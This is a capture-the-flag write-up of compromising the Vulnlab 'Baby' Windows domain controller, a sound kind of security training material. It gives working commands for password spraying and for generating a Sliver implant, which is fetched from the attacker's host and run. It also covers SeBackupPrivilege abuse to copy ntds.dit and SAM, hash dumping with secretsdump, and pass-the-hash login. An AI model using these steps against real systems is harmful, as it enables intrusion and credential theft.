Vulnlab - Baby [Easy]

Recently I’ve started to explore more platforms for hacking different type of boxes and I found that xct has created vulnlab. From what I’ve explored, I have to say that I am really impressed with it and so far, I really like it. Here is my writeup for the “Baby” lab.


User / Initial Foothold

Started with a nmap scan:

sylsec$ nmap -p- -sT -v -A --open -T 4 --script vuln* -oN nmap.txt -sC -sV $ip -Pn
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
49664/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  msrpc         Microsoft Windows RPC
59647/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows

We can clearly see that this is a Windows machine that is also a part of Active Directory. The domain seems to be baby.vl, I will add this to my /etc/hosts file. After that, I ran enum4linux.

(I will post only the interesting results)

sylsec$ enum4linux $ip
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: baby.vl
[+] Found domain information via SMB
NetBIOS computer name: BABYDC
NetBIOS domain name: BABY
DNS domain: baby.vl
FQDN: BabyDC.baby.vl
Derived membership: domain member
Derived domain: BABY
Server allows session using username '', password ''
[+] Domain: BABY
[+] Domain SID: S-1-5-21-1407081343-4001094062-1444647654
[+] Membership: domain member
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: ''
OS build: '20348'

This scan yieled some useful results like the computer name and some information about the system, usually I would try enumerate some more with ldapsearch.

sylsec$ ldapsearch -LLL -x -H ldap://$ip -b '' -s base '(objectclass=*)'
rootDomainNamingContext: DC=baby,DC=vl
ldapServiceName: baby.vl:babydc$@BABY.VL

This didn’t yield that much information but we can search for the specific domain components (baby,vl)

(Only the interesting information)

sylsec$ ldapsearch -x -H ldap://$ip -D '' -w '' -b "DC=baby,DC=vl"
# Teresa Bell, it, baby.vl
dn: CN=Teresa Bell,OU=it,DC=baby,DC=vl
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Teresa Bell
sn: Bell
description: Set initial password to BabyStart123!
<other users>

Now we’ve learned that the initial password for the users is BabyStart123!, we can save all the found users under users.txt and try the password against all of them with netexec (previously CrackMapExec).

sylsec$ netexec smb $ip -u ./users.txt -p ./passwords.txt 
SMB     445    BABYDC           [*] Windows 10.0 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB      445    BABYDC           [-] baby.vl\caroline.robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE

We found that the user caroline.robinson has the status STATUS_PASSWORD_MUST_CHANGE, we can use smbpasswd.py from the impacket scripts to change the password.

sylsec$ python3 smbpasswd.py baby.vl/Caroline.Robinson:'BabyStart123!'@$ip -newpass Summer2018!
[!] Password is expired, trying to bind with a null session.
[*] Password was changed successfully.

Now, let’s try to use WinRM to log in to the machine.

sylsec$ evil-winrm -i $ip -u Caroline.Robinson -p 'Summer2018!'
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> 
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> type ..\Desktop\user.txt

Root / Privilege Escalation

Since I highly dislike evil-winrm due to its instability (atleast on my machine) and the fact that the machine has an active defender which will flag most of the binaries that I will try to put for further enumeration as malicious, I decided to spin up SilverC2.

sylsec$ silversrv

          ██████  ██▓     ██▓ ██▒   █▓▓█████  ██▀███
        ▒██    ▒ ▓██▒    ▓██▒▓██░   █▒▓█   ▀ ▓██ ▒ ██▒
        ░ ▓██▄   ▒██░    ▒██▒ ▓██  █▒░▒███   ▓██ ░▄█ ▒
          ▒   ██▒▒██░    ░██░  ▒██ █░░▒▓█  ▄ ▒██▀▀█▄
        ▒██████▒▒░██████▒░██░   ▒▀█░  ░▒████▒░██▓ ▒██▒
        ▒ ▒▓▒ ▒ ░░ ▒░▓  ░░▓     ░ ▐░  ░░ ▒░ ░░ ▒▓ ░▒▓░
        ░ ░▒  ░ ░░ ░ ▒  ░ ▒ ░   ░ ░░   ░ ░  ░  ░▒ ░ ▒░
        ░  ░  ░    ░ ░    ▒ ░     ░░     ░     ░░   ░
                  ░      ░  ░ ░        ░     ░  ░   ░

All hackers gain fear
[*] Server v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

[server] sliver > generate --mtls tun0:8888
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 39s
[*] Implant saved to /home/syl/vulnlab/Baby/EXISTING_CROTCH.exe

Now, that I have an implant, I’ve transferred it to the server with Invoke-WebRequest.

*Evil-WinRM* PS C:\Windows\TEMP> iwr http://<myIp>:8000/EXISTING_CROTCH.exe -OutFile EXISTING_CROTCH.exe
*Evil-WinRM* PS C:\Windows\TEMP> .\EXISTING_CROTCH.exe

I’ve set up a listener and once I invoke the implant on the machine I will get a session on my server.

[*] Session b7e812e4 EXISTING_CROTCH - (BabyDC) - windows/amd64 - Mon, 18 Dec 2023 09:57:19 EET

Then I’ve started to enumerate the privileges first.

[server] sliver (EXISTING_CROTCH) > getprivs

Privilege Information for EXISTING_CROTCH.exe (PID: 3248)

Process Integrity Level: High

Name                            Description                     Attributes
====                            ===========                     ==========
SeMachineAccountPrivilege       Add workstations to domain      Enabled, Enabled by Default
SeBackupPrivilege               Back up files and directories   Enabled, Enabled by Default
SeRestorePrivilege              Restore files and directories   Enabled, Enabled by Default
SeShutdownPrivilege             Shut down the system            Enabled, Enabled by Default
SeChangeNotifyPrivilege         Bypass traverse checking        Enabled, Enabled by Default
SeIncreaseWorkingSetPrivilege   Increase a process working set  Enabled, Enabled by Default

And I noticed that we have the SeBackupPrivilege and SeRestorePrivilege privilege enabled, that automatically means that we can abuse those to get the ntds.dit,SAM,SYSTEM files to obtain some hashes that we can use further to escalate our privileges.

There are a lot of resources for this technique, here are some of my favorite reads:

  • https://medium.com/r3d-buck3t/windows-privesc-with-sebackupprivilege-65d2cd1eb960
  • https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#shell-as-svc_backup
  • https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/

I created a file on my local system called syl.dsh which is basically a script file that can execute series of commands, the contents is as follows:

set context persistent nowriters
add volume c: alias syl
expose %syl% z:

This sets the context to be persistent, so that the shadow copies will be kept after the diskshadow session is closed. Then we add a shadowcopy of the C:\ drive with the alias syl, we create it and we expose it as another drive Z:

Then we can download the shadow copy of the ntds file using the SilverC2’s interactive mode.

[server] sliver (EXISTING_CROTCH) > download Z:\Windows\ntds

And we also need the SYSTEM and SAM files, which we can get by invoking the reg utility.

[server] sliver (EXISTING_CROTCH) > reg save hklm\sam c:\Temp\sam
[server] sliver (EXISTING_CROTCH) > reg save hklm\system c:\Temp\system
[server] sliver (EXISTING_CROTCH) > download system
[*] Wrote 16842752 bytes (1 file successfully, 0 files unsuccessfully) to /home/syl/vulnlab/Baby/system
[server] sliver (EXISTING_CROTCH) > download SAM
[*] Wrote 16842752 bytes (1 file successfully, 0 files unsuccessfully) to /home/syl/vulnlab/Baby/SAM

Now we can extract the hashes with impacket-secretsdump

sylsec$ python3 secretsdump.py -system /home/syl/vulnlab/Baby/exfiltrated/system -sam /home/syl/vulnlab/Baby/exfiltrated/SAM -ntds /home/syl/vulnlab/Baby/exfiltrated/ntds.dit LOCAL

And once we’ve extracted the hash, we can log in to the DC using WinRM.

sylsec$ evil-winrm -i $ip -u Administrator -H $hash
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt